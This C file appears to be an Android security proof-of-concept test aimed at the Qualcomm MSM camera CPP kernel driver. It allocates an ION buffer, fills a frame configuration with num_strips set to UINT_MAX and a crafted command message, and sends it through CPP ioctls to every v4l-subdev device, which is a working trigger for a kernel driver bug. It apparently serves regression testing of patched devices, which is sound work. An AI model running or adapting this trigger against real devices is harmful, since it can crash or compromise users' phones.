| /** |
| * Copyright (C) 2017 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| #include <sys/wait.h> |
| #include <fcntl.h> |
| #include <linux/ion.h> |
| #include <linux/types.h> |
| #include <linux/videodev2.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <sys/ioctl.h> |
| #include <sys/mman.h> |
| #include <sys/stat.h> |
| #include <sys/types.h> |
| #include <unistd.h> |
| |
| #define MAX_PLANES VIDEO_MAX_PLANES |
| |
| #define PARTIAL_FRAME_STRIPE_COUNT 4 |
| |
| #define MAX_NUM_CPP_STRIPS 8 |
| #define MSM_CPP_MAX_NUM_PLANES 3 |
| #define MSM_CPP_MIN_FRAME_LENGTH 13 |
| #define MSM_CPP_MAX_FRAME_LENGTH 4096 |
| #define MSM_CPP_MAX_FW_NAME_LEN 32 |
| #define MAX_FREQ_TBL 10 |
| |
| enum msm_cpp_frame_type { |
| MSM_CPP_OFFLINE_FRAME, |
| MSM_CPP_REALTIME_FRAME, |
| }; |
| |
| enum msm_vpe_frame_type { |
| MSM_VPE_OFFLINE_FRAME, |
| MSM_VPE_REALTIME_FRAME, |
| }; |
| |
| struct msm_cpp_buffer_info_t { |
| int32_t fd; |
| uint32_t index; |
| uint32_t offset; |
| uint8_t native_buff; |
| uint8_t processed_divert; |
| uint32_t identity; |
| }; |
| |
| struct msm_cpp_stream_buff_info_t { |
| uint32_t identity; |
| uint32_t num_buffs; |
| struct msm_cpp_buffer_info_t *buffer_info; |
| }; |
| |
| enum msm_cpp_batch_mode_t { |
| BATCH_MODE_NONE, |
| BATCH_MODE_VIDEO, |
| BATCH_MODE_PREVIEW |
| }; |
| |
| struct msm_cpp_batch_info_t { |
| enum msm_cpp_batch_mode_t batch_mode; |
| uint32_t batch_size; |
| uint32_t intra_plane_offset[MAX_PLANES]; |
| uint32_t pick_preview_idx; |
| uint32_t cont_idx; |
| }; |
| |
| struct msm_cpp_frame_info_t { |
| int32_t frame_id; |
| struct timeval timestamp; |
| uint32_t inst_id; |
| uint32_t identity; |
| uint32_t client_id; |
| enum msm_cpp_frame_type frame_type; |
| uint32_t num_strips; |
| uint32_t msg_len; |
| uint32_t *cpp_cmd_msg; |
| int src_fd; |
| int dst_fd; |
| struct timeval in_time, out_time; |
| void __user *cookie; |
| int32_t *status; |
| int32_t duplicate_output; |
| uint32_t duplicate_identity; |
| uint32_t feature_mask; |
| uint8_t we_disable; |
| struct msm_cpp_buffer_info_t input_buffer_info; |
| struct msm_cpp_buffer_info_t output_buffer_info[8]; |
| struct msm_cpp_buffer_info_t duplicate_buffer_info; |
| struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2]; |
| uint32_t reserved; |
| uint8_t partial_frame_indicator; |
| uint8_t first_payload; |
| uint8_t last_payload; |
| uint32_t first_stripe_index; |
| uint32_t last_stripe_index; |
| uint32_t stripe_info_offset; |
| uint32_t stripe_info; |
| struct msm_cpp_batch_info_t batch_info; |
| }; |
| |
| struct msm_cpp_pop_stream_info_t { |
| int32_t frame_id; |
| uint32_t identity; |
| }; |
| |
| struct cpp_hw_info { |
| uint32_t cpp_hw_version; |
| uint32_t cpp_hw_caps; |
| unsigned long freq_tbl[MAX_FREQ_TBL]; |
| uint32_t freq_tbl_count; |
| }; |
| |
| struct msm_vpe_frame_strip_info { |
| uint32_t src_w; |
| uint32_t src_h; |
| uint32_t dst_w; |
| uint32_t dst_h; |
| uint32_t src_x; |
| uint32_t src_y; |
| uint32_t phase_step_x; |
| uint32_t phase_step_y; |
| uint32_t phase_init_x; |
| uint32_t phase_init_y; |
| }; |
| |
| struct msm_vpe_buffer_info_t { |
| int32_t fd; |
| uint32_t index; |
| uint32_t offset; |
| uint8_t native_buff; |
| uint8_t processed_divert; |
| }; |
| |
| struct msm_vpe_stream_buff_info_t { |
| uint32_t identity; |
| uint32_t num_buffs; |
| struct msm_vpe_buffer_info_t *buffer_info; |
| }; |
| |
| struct msm_vpe_frame_info_t { |
| int32_t frame_id; |
| struct timeval timestamp; |
| uint32_t inst_id; |
| uint32_t identity; |
| uint32_t client_id; |
| enum msm_vpe_frame_type frame_type; |
| struct msm_vpe_frame_strip_info strip_info; |
| unsigned long src_fd; |
| unsigned long dst_fd; |
| struct ion_handle *src_ion_handle; |
| struct ion_handle *dest_ion_handle; |
| unsigned long src_phyaddr; |
| unsigned long dest_phyaddr; |
| unsigned long src_chroma_plane_offset; |
| unsigned long dest_chroma_plane_offset; |
| struct timeval in_time, out_time; |
| void *cookie; |
| |
| struct msm_vpe_buffer_info_t input_buffer_info; |
| struct msm_vpe_buffer_info_t output_buffer_info; |
| }; |
| |
| enum msm_camera_buf_mngr_buf_type { |
| MSM_CAMERA_BUF_MNGR_BUF_PLANAR, |
| MSM_CAMERA_BUF_MNGR_BUF_USER, |
| MSM_CAMERA_BUF_MNGR_BUF_INVALID, |
| }; |
| |
| #define MSM_CAMERA_MAX_USER_BUFF_CNT 16 |
| struct msm_camera_user_buf_cont_t { |
| unsigned int buf_cnt; |
| unsigned int buf_idx[MSM_CAMERA_MAX_USER_BUFF_CNT]; |
| }; |
| |
| struct msm_buf_mngr_info { |
| uint32_t session_id; |
| uint32_t stream_id; |
| uint32_t frame_id; |
| struct timeval timestamp; |
| uint32_t index; |
| uint32_t reserved; |
| enum msm_camera_buf_mngr_buf_type type; |
| struct msm_camera_user_buf_cont_t user_buf; |
| }; |
| |
| struct msm_pproc_queue_buf_info { |
| struct msm_buf_mngr_info buff_mgr_info; |
| uint8_t is_buf_dirty; |
| }; |
| |
| struct msm_cpp_clock_settings_t { |
| unsigned long clock_rate; |
| uint64_t avg; |
| uint64_t inst; |
| }; |
| |
| #define VIDIOC_MSM_CPP_CFG \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_GET_EVENTPAYLOAD \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 1, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_GET_INST_INFO \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 2, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_LOAD_FIRMWARE \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 3, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_GET_HW_INFO \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_FLUSH_QUEUE \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_VPE_CFG \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_VPE_TRANSACTION_SETUP \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 9, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_VPE_GET_EVENTPAYLOAD \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_VPE_GET_INST_INFO \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 12, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_QUEUE_BUF \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 15, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_SET_CLOCK \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 16, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_IOMMU_ATTACH \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_IOMMU_DETACH \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 19, struct msm_camera_v4l2_ioctl_t) |
| |
| #define VIDIOC_MSM_CPP_DELETE_STREAM_BUFF \ |
| _IOWR('V', BASE_VIDIOC_PRIVATE + 20, struct msm_camera_v4l2_ioctl_t) |
| |
| #define BASE_VIDIOC_PRIVATE 192 /* 192-255 are private */ |
| |
| #define V4L2_EVENT_CPP_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 0) |
| #define V4L2_EVENT_VPE_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 1) |
| |
| struct msm_camera_v4l2_ioctl_t { |
| uint32_t id; |
| size_t len; |
| int32_t trans_code; |
| void __user *ioctl_ptr; |
| }; |
| |
| #define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA |
| |
| int ion_open(void); |
| int ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask, |
| unsigned int flags, ion_user_handle_t *handle); |
| |
| int ion_open() { |
| int fd = open("/dev/ion", O_RDONLY); |
| return fd; |
| } |
| |
| static int ion_ioctl(int fd, int req, void *arg) { |
| int ret = ioctl(fd, req, arg); |
| return ret; |
| } |
| |
| int ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask, |
| unsigned int flags, ion_user_handle_t *handle) { |
| int ret; |
| struct ion_allocation_data data = { |
| .len = len, |
| .align = align, |
| .heap_id_mask = heap_mask, |
| .flags = flags, |
| }; |
| if (handle == NULL) return -1; |
| |
| ret = ion_ioctl(fd, ION_IOC_ALLOC, &data); |
| if (ret < 0) return ret; |
| |
| *handle = data.handle; |
| |
| return ret; |
| } |
| |
| static void ion_get_fd(int fd, ion_user_handle_t *handle, int *buf_fd) { |
| union { |
| struct ion_fd_data fd; |
| struct ion_allocation_data allocation; |
| struct ion_handle_data handle; |
| struct ion_custom_data custom; |
| } data; |
| memset(&data, 0, sizeof(data)); |
| data.handle.handle = *handle; |
| int ret = ioctl(fd, ION_IOC_SHARE, &data); |
| *buf_fd = data.fd.fd; |
| } |
| |
| int main(int argc, char **argv) { |
| int fd; |
| int ion_fd; |
| int buf_fd = -1; |
| const size_t frame_size = 446; |
| ion_user_handle_t ion_handle; |
| uint32_t buf[frame_size]; |
| struct msm_camera_v4l2_ioctl_t request = {0, 0, 0, 0}; |
| struct msm_cpp_frame_info_t frame_info; |
| struct msm_cpp_buffer_info_t buff_info; |
| struct msm_cpp_stream_buff_info_t stream_buff_info; |
| |
| memset(&buf, 0x00, sizeof(buf)); |
| memset(&frame_info, 0x01, sizeof(frame_info)); |
| memset(&buff_info, 0x00, sizeof(buff_info)); |
| memset(&stream_buff_info, 0x00, sizeof(stream_buff_info)); |
| |
| ion_fd = ion_open(); |
| |
| ion_alloc(ion_fd, 0x1000, 0, 0xfffffff, |
| ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC, &ion_handle); |
| |
| ion_get_fd(ion_fd, &ion_handle, &buf_fd); |
| |
| stream_buff_info.num_buffs = 1; |
| stream_buff_info.identity = 0x27BC86AA; |
| stream_buff_info.buffer_info = &buff_info; |
| frame_info.identity = stream_buff_info.identity; |
| buff_info.fd = buf_fd; |
| buff_info.identity = 0x27BC86AA; |
| buff_info.index = 0; |
| buff_info.native_buff = 1; |
| buf[frame_size - 1] = MSM_CPP_MSG_ID_TRAILER; |
| frame_info.msg_len = frame_size; |
| frame_info.cpp_cmd_msg = buf; |
| frame_info.num_strips = UINT_MAX; |
| frame_info.we_disable = 1; |
| frame_info.duplicate_output = 0; |
| frame_info.feature_mask = 0; |
| frame_info.input_buffer_info = buff_info; |
| |
| char subdev[32] = {0}; |
| for (int i = 0; i < 32; i++) { |
| snprintf(subdev, sizeof(subdev), "/dev/v4l-subdev%d", i); |
| fd = open(subdev, O_RDWR); |
| if (fd < 0) continue; |
| |
| request.len = sizeof(stream_buff_info); |
| request.ioctl_ptr = &stream_buff_info; |
| ioctl(fd, VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO, &request); |
| |
| ioctl(fd, VIDIOC_MSM_CPP_IOMMU_ATTACH, &request); |
| |
| request.len = sizeof(frame_info); |
| request.ioctl_ptr = &frame_info; |
| ioctl(fd, VIDIOC_MSM_CPP_CFG, &request); |
| close(fd); |
| } |
| } |